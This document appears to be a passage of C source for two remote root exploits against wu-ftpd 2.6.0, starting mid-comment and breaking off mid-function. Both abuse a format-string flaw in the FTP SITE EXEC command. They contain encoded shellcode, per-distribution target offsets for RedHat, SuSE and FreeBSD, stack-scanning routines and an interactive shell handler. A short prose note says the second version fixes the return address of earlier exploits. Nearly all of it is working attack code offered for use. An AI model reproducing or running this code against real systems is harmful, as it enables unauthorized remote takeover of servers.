	 * Greetings to tf8, adm.
	 *
	 */
	
	 #include <stdio.h>
	 #include <string.h>
	 #include <stdlib.h>
	 #include <sys/types.h>
	 #include <sys/socket.h>
	 #include <sys/time.h>
	 #include <errno.h>
	 #include <netinet/in.h>
	 #include <unistd.h>
	 #include <netdb.h>
	 #include <signal.h>
	
	 /*
	 * Warning ! You may increase DELAY value
	 * for slow connections !
	 *
	 */
	
	 #define DELAY 5
	
	 char bsd_shellcode[] =
	 \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\"
	 \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\"
	 \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\"
	 \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\"
	 \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\"
	 \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\"
	 \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\"
	 \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\"
	 \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\"
	 \"x81xC0x9Cx87xEFxC1xC1xEF\";
	
	 struct sys_type
	 {
	 char *sysname;
	 int penum;
	 int penum2;
	 int penum3;
	 int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */
	 char *shellcode;
	 };
	
	 struct sys_type target[] =
	 {
	 {\"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS\",47,37,52,355,bsd_shellcode},
	 {\"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS\",46,36,51,354,bsd_shellcode},
	 /*
	 {\"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS\",32,48,44,355,bsd_shellcode},
	 */
	 {NULL,0,0,0,0,NULL}
	 };
	
	 int sock; /* Socket Descriptor */
	 int sysnumber = 0;
	 char tosend[1024]; /* send buffer */
	 char torecv[4096]; /* receive buffer */
	
	 int max(int,int);
	 char *scan_ptrretaddr(int,int);
	 char *scan_retaddr(int);
	 void receive(void);
	 void ftp_login(char *,char *);
	 void store_value(int,int,int);
	 void shell(void);
	 void site_exec(char *);
	 void usage(char *);
	
	 int main (argc,argv)
	 int argc;
	 char *argv[];
	 {
	 int port = 21;
	 int main_index = 0;
	
	 char *ptrretaddr;
	 char *retaddr;
	
	 struct sockaddr_in sin;
	 struct hostent *host;
	
	 while(target[sysnumber].sysname != NULL)
	 sysnumber++;
	
	 if (argc < 3)
	 usage(argv[0]);
	 main_index = atoi(argv[2]);
	 if (main_index < 0 || main_index> sysnumber-1)
	 {
	 printf(\"Wrong system identifier!n\");
	 usage(argv[0]);
	 }
	 printf (\"Exploiting: %sn\",target[main_index].sysname);
	 if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0)
	 {
	 perror(\"Socket error\");
	 exit(-1);
	 }
	
	 if(argv[3])
	 port=atoi(argv[3]);
	
	 bzero((char*)&sin,sizeof(sin));
	 sin.sin_family=AF_INET;
	 sin.sin_port=htons(port);
	 host=gethostbyname(argv[1]);
	
	 if (host == 0)
	 {
	 printf(\"Cannot resolve %sn\",argv[1]);
	 exit(-1);
	 }
	 memcpy(&sin.sin_addr,host->h_addr,host->h_length);
	 if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
	 {
	 perror(\"Connect error\");
	 exit(-1);
	 }
	 printf(\"nCONNECTED!nn\");
	
	 sleep(DELAY);
	 receive();
	 fputs(torecv,stdout);
	 ftp_login(\"ftp\",target[main_index].shellcode);
	 ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset);
	 retaddr = scan_retaddr(target[main_index].penum2);
	 store_value(target[main_index].penum,((int)ptrretaddr & 65535),1);
	 sleep(DELAY);receive();
	 store_value(target[main_index].penum3,(int)retaddr,2);
	 printf(\"33[32mAdG rox ! :)33[37mn\");
	 write(sock,\"uname -a;idn\",strlen(\"uname -a;idn\"));
	 signal(SIGINT,SIG_IGN);
	 shell();
	 }
	
	 int max(int x,int y)
	 {
	 if (x> y)
	 return(x);
	 return(y);
	 }
	 void receive(void)
	 {
	 bzero(torecv,sizeof(torecv));
	 if(read(sock,torecv,sizeof(torecv)) == 0)
	 {
	 printf(\"Connection closed by foreign host!n\");
	 exit(-1);
	 }
	 }
	 void shell(void)
	 {
	 fd_set rset;
	 int nfds,nread;
	 bzero(torecv,sizeof(torecv));
	 for (;;)
	 {
	 nfds=max(fileno(stdin),sock)+1;
	 FD_ZERO(&rset);
	 FD_SET(fileno(stdin),&rset);
	 FD_SET(sock,&rset);
	 select(nfds,&rset,NULL,NULL,NULL);
	 if(FD_ISSET(fileno(stdin),&rset))
	 {
	 bzero(tosend,sizeof(tosend));
	 fgets(tosend,sizeof(tosend)-2,stdin);
	 write(sock,tosend,strlen(tosend));
	 }
	 if(FD_ISSET(sock,&rset))
	 {
	 bzero(torecv,sizeof(torecv));
	 if((nread=read(sock,torecv,sizeof(torecv))) == 0)
	 {
	 printf(\"nEOFn\");
	 exit(0);
	 }
	 if (nread < 0)
	 {
	 perror(\"Read error\");
	 exit(-1);
	 }
	 fputs(torecv,stdout);
	 }
	 }
	 }
	 void ftp_login(char *username, char *password)
	 {
	 sprintf(tosend,\"USER %sn\",username);
	 printf(\"33[32m%s33[37m\",tosend);
	 write(sock,tosend,strlen(tosend));
	 sleep(DELAY);
	 receive();
	 fputs(torecv,stdout);
	 sprintf(tosend,\"PASS %sn\",password);
	 printf(\"33[32mPASS <shellcode>33[37mn\");
	 write(sock,tosend,strlen(tosend));
	 sleep(DELAY);
	 receive();
	 fputs(torecv,stdout);
	 }
	 void site_exec(char *string)
	 {
	 char buf[1034];
	 bzero(buf,sizeof(buf));
	 snprintf(buf,sizeof(buf),\"site exec %sn\",string);
	 write(sock,buf,strlen(buf));
	 }
	 char *scan_ptrretaddr(int penum,int offset)
	 {
	 int a;
	 char *buf;
	 char *ptr, *retvalue;
	 printf(\"Scanning remote server\'s stack:n\");
	 bzero(tosend,sizeof(tosend));
	 for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
	 {
	 sprintf(buf,\"%s\",\"%p:%d\");
	 }
	 site_exec(tosend);
	 sleep(DELAY);
	 receive();
	
	 buf = strstr(torecv,\":\")+1;
	 ptr =(char*)atoi(buf);
	 printf(\"33[32mScanned PTRPTRRETADDR is 33[31m0x%xn33[37m\",ptr);
	 retvalue = ptr - offset*4;
	 printf(\"33[32mCalculated PTRRETADDR is 33[31m0x%xn33[37m\",retvalue);
	 return retvalue;
	 }
	 char *scan_retaddr(int penum)
	 {
	 int a;
	 char *buf;
	 char *ptr, *retvalue;
	 printf(\"Detecting return address:n\");
	 bzero(tosend,sizeof(tosend));
	 for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
	 {
	 sprintf(buf,\"%s\",\"%p:%d\");
	 }
	 site_exec(tosend);sleep(DELAY);receive();
	 buf = strstr(torecv,\":\")+1;
	 ptr =(char*)atoi(buf);
	 printf(\"33[32mScanned TEMPADDR is 33[31m0x%xn33[37m\",ptr);
	 for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
	 {
	 sprintf(buf,\"%s\",\"%p:%s\");
	 }
	 site_exec(tosend);sleep(DELAY);receive();
	 retvalue = ptr;
	 buf = strstr(torecv,\":\")+1;
	 ptr = strstr(torecv,\"/\")+1;
	 retvalue += ptr - buf;
	 printf(\"33[32mCalculated RETADDR is 33[31m0x%xn33[37m\",retvalue);
	 return retvalue;
	 }
	 void store_value(int penum,int value,int type)
	 {
	 int a;
	 int offset;
	 char *buf;
	 char *ptr1, *ptr2;
	 printf(\"Storing value 0x%xn\",value);
	 bzero(tosend,sizeof(tosend));
	 buf = tosend;
	 sprintf(buf,\"%%.10d\"); /* WARNING 10 is a MAGIC NUM! */
	 for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
	 {
	 sprintf(buf,\"%s\",\"%p:\");
	 }
	 site_exec(tosend);
	 sleep(DELAY);
	 receive();
	 ptr1 = strstr(torecv,\"-\")+1;
	 ptr2 = strstr(torecv,\":\");
	 offset = ptr2 - ptr1;
	 printf(\"offset is 0x%xn\",offset);
	 bzero(tosend,sizeof(tosend));
	 buf = tosend;
	 sprintf(buf,\"%%.%dx64\",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */
	 for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
	 {
	 if(type == 1) sprintf(buf,\"%s\",\"%p%hn\");
	 if(type == 2) sprintf(buf,\"%s\",\"%p%n\");
	 }
	 site_exec(tosend);
	 }
	 void usage(char *arg)
	 {
	 int i;
	 printf(\"Usage: %s <hostname> <systype> [port]n\",arg);
	 printf(\" known systypes: n\");
	 for(i=0;i < sysnumber;i++)
	 printf(\" %2d - %sn\",i,target[i].sysname);
	 exit(-1);
	 }
	
	 The following is for the mass amounts of people out there who were
	 not able to hit the correct retr_addr with the previously
	 disseminated exploits. The previous problems were caused by the
	 other exploits not specifying the correct pointer to the shell
	 code, ultimately leaving you with a telnet session to PORT 21 of
	 the vulnerable machine. While working with some people over at
	 MIT, it was discovered that some machines were hit, while others
	 with the same configuration weren\'t. This is yet to be understood.
	 Following as you will notice is TF8\'s original distribution,
	 slightly modified. Notice the new AddrRetAddr field. If s0
	 doesn\'t work, it is reccomended trying the other OS distributions
	 in the list.
	
	 #include <stdio.h>
	 #include <string.h>
	 #include <stdlib.h>
	 #include <sys/types.h>
	 #include <sys/socket.h>
	 #include <sys/time.h>
	 #include <netdb.h>
	 #include <unistd.h>
	 #include <netinet/in.h>
	 #include <arpa/inet.h>
	 #include <signal.h>
	 #include <errno.h>
	
	 #ifdef __linux
	 #include <getopt.h>
	 #endif
	
	 #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
	 #define GREEN \"33[32m\"
	 #define RED \"33[31m\"
	 #define NORM \"33[0m\"
	
	 char infin_loop[]= /* for testing purposes */
	 \"xEBxFE\";
	
	 char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	 \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\"
	 \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\"
	 \"x8dx5ex01x88x46x04x66x68xffxffx01x53x53xb0\"
	 \"x88xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80\"
	 \"x31xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9\"
	 \"x31xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75\"
	 \"xf1x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcd\"
	 \"x80xfex0exb0x30xfexc8x88x46x04x31xc0x88x46\"
	 \"x07x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56\"
	 \"x0cx52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53\"
	 \"x53xb0x01xcdx80xe8x84xffxffxffxffxffxffx30\"
	 \"x62x69x6ex30x73x68x31x2ex2ex31x31x76x65x6e\"
	 \"x67x6cx69x6e\";
	
	 char bsd_code_d[]= /* you should call it directly (no jump/call)*/
	 \"xEBxFExEBx02xEBx05xE8xF9xFFxFFxFFx5C\"
	 \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\"
	 \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\"
	 \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\"
	 \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\"
	 \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\"
	 \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\"
	 \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\"
	 \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\"
	 \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\"
	 \"x81xC0x9Cx87xEFxC1xC1xEF\";
	
	 char linuxcode[]= /* Lam3rZ chroot() code */
	 \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\"
	 \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\"
	 \"xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27\"
	 \"xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31\"
	 \"xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d\"
	 \"x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46\"
	 \"x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8\"
	 \"x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c\"
	 \"x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0\"
	 \"x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff\"
	 \"x30x62x69x6ex30x73x68x31x2ex2ex31x31\";
	
	 #define MAX_FAILED 4
	 #define MAX_MAGIC 100
	 static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
	 static char *magic_str=NULL;
	 int before_len=0;
	 char *target=NULL,*username=\"ftp\",*password=NULL;
	 struct targets getit;
	
	 struct targets {
		 int def;
		 char *os_descr, *shellcode;
		 int delay;
		 u_long pass_addr, addr_ret_addr;
		 int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
	 };
	
	 struct targets targ[]={
		 {0,\"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
		 {0,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
		 {0,\"SuSe 6.3 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
		 {0,\"SuSe 6.4 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
		 {0,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)\",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
	
		 {0,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports\",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
		 {1,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages\",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
		 {0,\"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports\",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
		 {0,\"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages\",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
		 {0,NULL,NULL,0,0,0,{0},{0},0}
	 };
	
	 void usage(char*zu,int q){
	 int i, n, padding;
	 fprintf(stderr,\"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]n\"
	 \" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]n\"
	 \"target : host with any wuftpdnuser : anonymous usern\"
	 \"dir : if not anonymous user, you need to have writable directoryn\"
	 \"magic_str : magic string (see exploit description)n-g : enables magic string diggingn\"
	 \"-x : enables test modenpass_addr : pointer to setproctitle argumentn\"
	 \"ret_addr : this is pointer to shellcodensystypes: n\",zu);
	 for(i=0;targ[i].os_descr!=NULL;i++){
	 padding=0;
	 fprintf(stderr,\"%s%2d - %sn\",targ[i].def?\"*\":\" \",i,targ[i].os_descr);
	 if(q>1){
	 fprintf(stderr,\" Magic ID: [\");
	 for(n=0;targ[i].magic[n]!=0;n++){
	 if(targ[i].magic_d[n]==4)
	 padding=targ[i].magic[n];
	 fprintf(stderr,\"%02X,%02X\",targ[i].magic[n],targ[i].magic_d[n]);
	 if(targ[i].magic[n+1]!=0)
	 fprintf(stderr,\":\");
	 }
	 fprintf(stderr,\"] Padding: %dn\",padding);
	 fflush(stderr);
	 }
	 }
	 exit(1);
	 }
	
	 int connect_to_server(char*host){
	 struct hostent *hp;
	 struct sockaddr_in cl;
	 int sock;
	
	 if(host==NULL||*host==(char)0){
	 fprintf(stderr,\"Invalid hostnamen\");
	 exit(1);
	 }
	 if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
	 if((hp=gethostbyname(host))==NULL) {
	 fprintf(stderr,\"Cannot resolve %sn\",host);
	 exit(1);
	 }
	 memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
	 }
	 if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
	 fprintf(stderr,\"Error creating socket: %sn\",strerror(errno));
	 exit(1);
	 }
	 cl.sin_family=PF_INET;
	 cl.sin_port=htons(21);
	 if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
	 fprintf(stderr,\"Cannot connect to %s: %sn\",host,strerror(errno));
	 exit(1);
	 }
	 return sock;
	 }
	
	 int ftp_recv(int sock,char*buf,int buf_size,int disc){
	 int n=0;
	 char q;
	
	 if(disc) while((n=recv(sock,&q,1,0))==1&&q!=\'n\');
	 else {
	 (void)bzero(buf,buf_size);
	 n=recv(sock,buf,buf_size,0);
	 if(n<0){
	 fprintf(stderr,\"ftp_recv: recv failedn\");
	 exit(1);
	 }
	 buf[n]=0;
	 }
	 return n;
	 }
	 int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
	 int n;
	 n=send(sock,what,size,0);
	 if(n!=size){
	 fprintf(stderr,\"ftp_send: failed to send. expected %d, sent %dn\", size,n);
	 shutdown(sock,2);
	 close(sock);
	 exit(1);
	 }
	 if(f)
	 return ftp_recv(sock,ans,ans_size,0);
	 return 0;
	 }
	
	 int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
	 ftp_send(sock,buff,buff_len,q,ans,ans_len);
	 if(strncmp(ans,\"200-\",4)==0)
	 ftp_recv(sock,NULL,0,1);
	 else
	 ftp_recv(sock,ans,ans_len,0);
	
	 if(strncmp(ans,\"200-\",4)){
	 fprintf(stderr,\"Cannot find site exec response stringn\");
	 exit(1);
	 }
	 return 0;
	 }
	
	 void ftp_login(int sock,char*u_name,char*u_pass)
	 {
	 char buff[2048];
	 printf(\"loggin into system..n\");
	 snprintf(buff,2047,\"USER %srn\", u_name);
	 ftp_send(sock, buff,strlen(buff),1,buff,2047);
	 printf(GREEN\"USER %sn\"NORM\"%s\",u_name,buff);
	 snprintf(buff,2047,\"PASS %srn\",u_pass);
	 printf(GREEN\"PASS %sn\"NORM,*u_pass==\'x90\'?\"<shellcode>\":u_pass);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 while(strstr(buff,\"230 \")==NULL){
	 (void)bzero(buff,2048);
	 ftp_recv(sock,buff,2048,0);
	 }
	 printf(\"%s\",buff);
	 return;
	 }
	
	 void ftp_mkchdir(int sock,char*cd,char*new)
	 {
	 char buff[2048];
	
	 sprintf(buff,\"CWD %srn\",cd);
	 printf(GREEN\"%s\"NORM,buff);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 printf(\"%s\",buff);
	 sprintf(buff,\"MKD %srn\",new);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 printf(GREEN\"MKD <shellcode>\"NORM\"n%s\",buff);
	 sprintf(buff,\"CWD %srn\",new);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 printf(GREEN\"CWD <shellcode>\"NORM\"n%s\",buff);
	 return;
	 }
	 void process_possibly_rooted(int sock)
	 {
	 fd_set 	fd_read;
	 char buff[1024], *cmd=getit.islinux?\"/bin/uname -a;/usr/bin/id;n\":\"/usr/bin/uname -a;/usr/bin/id;n\";
	 int n;
	
	 FD_ZERO(&fd_read);
	 FD_SET(sock, &fd_read);
	 FD_SET(0, &fd_read);
	 send(sock, cmd, strlen(cmd), 0);
	 while(1) {
	 FD_SET(sock,&fd_read);
	 FD_SET(0,&fd_read);
	 if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
	 if( FD_ISSET(sock, &fd_read) ) {
	 if((n=recv(sock,buff,sizeof(buff),0))<0){
	 fprintf(stderr, \"EOFn\");
	 exit(2);
	 }
	 if(write(1,buff,n)<0)break;
	 }
	 if ( FD_ISSET(0, &fd_read) ) {
	 if((n=read(0,buff,sizeof(buff)))<0){
	 fprintf(stderr,\"EOFn\");
	 exit(2);
	 }
	 if(send(sock,buff,n,0)<0) break;
	 }
	 usleep(10);
	 }
	 fprintf(stderr,\"Connection aborted, select failed()n\");
	 exit(0);
	 }
	
	 int magic_check_f(int sock, char *str) {
	 char q[2048], ans[2048];
	
	 snprintf(q, 2048, \"site exec %s%srn\", str, \"%.f\");
	 if( strstr( q, \"rn\") == NULL) {
	 fprintf(stderr,\"Line TOO big..n\");
	 exit(-1);
	 }
	 ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
	 if( before_len+10 < strlen(&ans[3]) ) return 0;
	 before_len=strlen(&ans[3]);
	 (void)strcat(str,\"%.f\");
	 return 1;
	 }
	 int magic_check_o(int sock, char *str) {
	 char q[2048], ans[2048];
	 snprintf(q, 2048, \"site exec %s%srn\", str, \"%c\");
	 if( strstr( q, \"rn\") == NULL) {
	 fprintf(stderr,\"Line TOO big..n\");
	 exit(-1);
	 }
	 ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
	 if( before_len== strlen(&ans[3]) ) {
	 before_len+=1;
	 (void)strcat(str, \"%d\");
	 return 3;
	 }
	 before_len=strlen(&ans[3]);
	 (void)strcat(str,\"%c\");
	 return 2;
	 }
	
	 int magic_check_ok( int sock, char *str)
	 {
	 char q[2048], ans[2048];
	 int i ,n=1, f, padding=0;
	
	 snprintf(q, 2048,\"site exec aaaaaaaa%s%srn\", str, \"%p%p\");
	 if ( strstr(q, \"rn\" ) == NULL) {
	 fprintf(stderr, \"Line too longn\");
	 exit(-1);
	 }
	 (void)bzero(ans, 2048);
	 ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
	 if(strstr(ans,\"0x61616161\")==NULL)
	 return 0;
	 for(i =0; i < MAX_MAGIC && magic[i]; i++);
	 magic_d[i]=4;
	 while(n){
	 for(f=0; f< 2; f++) {
	 snprintf(q, 2048,\"site exec %.*saaaa%s%srn\", padding, \"xxxx\", str, f?\"%p%p\":\"%p\");
	 (void)bzero(ans, 2048);
	 ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
	 if( strstr(ans, \"0x61616161\")!=NULL) {
	 if (f==0) {
	 magic[i]=padding;
	 return 1;
	 } else if( f==1) {
	 strcat(str,\"%p\");
	 magic[i]=padding;
	 return 1;
	 }
	 }
	 }
	 if(padding> 4) {
	 fprintf(stderr,\"Cannot calculate padding..n\");
	 exit(1);
	 }
	 padding++;
	 }
	 return 1;
	 }
	
	
	 int magic_digger(int sock)
	 {
	 int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
	
	 if(magic_str==NULL){
	 if((magic_str=(char*)malloc(4092))==NULL){
	 perror(\"malloc\");
	 exit(errno);
	 }
	 }
	 (void)bzero(magic_str, 4092);
	 where=0;
	 while(get_out) {
	 int q;
	 if( where>= MAX_MAGIC-1 || all_failed <= 0 )
	 return -1;
	 if( magic_check_f(sock, magic_str) ) {
	 o=0,f++;
	 if(f==1){
	 if(!magic[where])
	 magic[where]=1;
	 else
	 magic[++where]+=1;
	 magic_d[where]=1;
	 } else
	 magic[where]+=1;
	 all_failed=MAX_FAILED*2;
	 printf(\"%s\", \"%.f\"); fflush(stdout);
	 goto verify;
	 }
	 all_failed--;
	 if((q=magic_check_o(sock,magic_str))){
	 f=0,o++;
	 if(o==1){
	 if(!magic[where])
	 magic[0]=1;
	 else
	 magic[++where]+=1;
	 magic_d[where]=q;
	 } else {
	 if(magic_d[where]==q)
	 magic[where]+=1;
	 else {
	 magic[++where]=1;
	 magic_d[where]=q;
	 }
	 }
	 all_failed=MAX_FAILED*2;
	 printf(\"%s\", q==2?\"%c\":\"%d\");
	 fflush(stdout);
	 goto verify;
	 }
	 all_failed--;
	 continue;
	 verify:
	 if(magic_check_ok(sock,magic_str)){
	 putchar(\'n\');
	 return 0;
	 }
	 }
	 return 0;
	 }
	
	 int main(int argc, char *argv[]){
		 char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
		 int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
		 u_long ret_addr=0, pass_addr=0;
		 for(i=0;targ[i].os_descr!=NULL;i++);
		 while((c=getopt(argc,argv,\"t:l:m:o:s:r:p:M:P:xghH?\"))!=EOF){
		 switch(c) {
		 case \'t\': target=optarg;break;
		 case \'l\':
		 username=optarg;
		 passwd=strchr(optarg,\'/\');
		 if(passwd==NULL)
		 usage(argv[0],0);
		 *passwd++=(char)0;
		 break;
		 case \'x\': testmode=1; break;
		 case \'o\': offset=atoi(optarg);break;
		 case \'p\': pass_addr=strtoul(optarg, &optarg,16); break;
		 case \'g\': gm=1; break;
		 case \'M\': dir=optarg;mtype=1;break;
		 case \'m\':
		 {
		 int where=0;
		 if(!*optarg) {
		 fprintf(stderr,\"-m requires argument, try -h for helpn\");
		 exit(1);
		 }
		 while(1) {
		 magic[where]=strtoul(optarg,&optarg,16);
		 optarg=strchr(optarg,\',\');
		 if(optarg==NULL){
		 printf(\"comma missingn\");
			 exit(1);
		 }
		 optarg++;
		 magic_d[where++]=strtoul(optarg,&optarg,16);
		 if(strchr(optarg,\':\')==NULL){
		 magic[where]=magic_d[where]=0;
		 break;
		 }
		 optarg=strchr(optarg,\':\');
		 optarg++;
		 }
		 }
		 break;
		 case \'s\':
		 num=atoi(optarg);
		 if(num>i) {
		 fprintf(stderr,\"systype too big, try -h for helpn\");
		 exit(1);
		 }
		 break;
		 case \'r\':
		 ret_addr=strtoul(optarg,&optarg,16);
		 break;
		 case \'P\':
		 padding=atoi(optarg);
		 break;
		 case \'H\':
		 bla=2;
		 default: usage(argv[0],bla);break;
		 }
	 }
		 if(target==NULL){
		 fprintf(stderr,\"No target specified, try -h for helpn\");
		 exit(1);
		 }
		 if(num==-1||num==-2) {
		 for(i=0;!targ[i].def;i++);
		 num=i;
		 }
		 (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
	
		 if(magic[1]!=0) {
		 memcpy((void*)getit.magic,magic,sizeof(magic));
		 memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
		 }
	
		 if(ret_addr)getit.addr_ret_addr=ret_addr;
		 if(pass_addr)getit.pass_addr=pass_addr;
	
		 getit.addr_ret_addr+=(offset*4);
	
	 	 sock=connect_to_server(target);
		 memset(shellcode, \'x90\', sizeof(shellcode));
		 shellcode[sizeof(shellcode)-1]=(char)0;
		 if(!mtype){
		 memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
		 shellcode[sizeof(shellcode)-1]=(char)0;
		 }else{
		 memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
		 shellcode[250-1]=(char)0;
		 }
		 printf(\"Target: %s (%s/%s): %sn\",target,username,*passwd==\'x90\'?\"<shellcode>\":passwd,getit.os_descr);
		 printf(\"Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %dnn\",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
	
		 buff=(char *)malloc(1024);
		 bzero(buff,1024);
	
		 (void)ftp_recv(sock,NULL,0,1);
	
		 (void)ftp_login(sock,username,passwd);
	
		 if(gm||(magic_str==NULL&&getit.magic[0]==0)){
		 printf(\"STEP 2A: Generating magic string: \");
		 fflush(stdout);
		 magic_digger(sock);
		 memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
		 memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
		 printf(\"STEP 2B: MAGIC STRING: [\");
		 } else {
		 printf(\"STEP 2 : Skipping, magic number already exists: [\");
		 }
		 for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
		 printf(\"%02X,%02X\",getit.magic[i],getit.magic_d[i]);
		 if(getit.magic[i+1]!=0)
		 putchar(\':\');
		 }
		 printf(\"]n\");
		 buff=(char *)realloc(buff, 4092);
		 (void)bzero(buff, 4092);
	 if(mtype)
	 ftp_mkchdir(sock,dir,shellcode);
		 printf(\"STEP 3 : Checking if we can reach our return address by format stringn\");
		 if(!magic_str){
		 magic_str=(char*)malloc(2048);
		 if(magic_str==NULL) {
		 perror(\"malloc\");
		 exit(errno);
		 }
		 (void)bzero(magic_str,2048);
		 for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
		 switch(getit.magic_d[i]) {
		 case 1:
		 for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%.f\");
		 break;
		 case 2:
		 for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%c\");
		 break;
		 case 3:
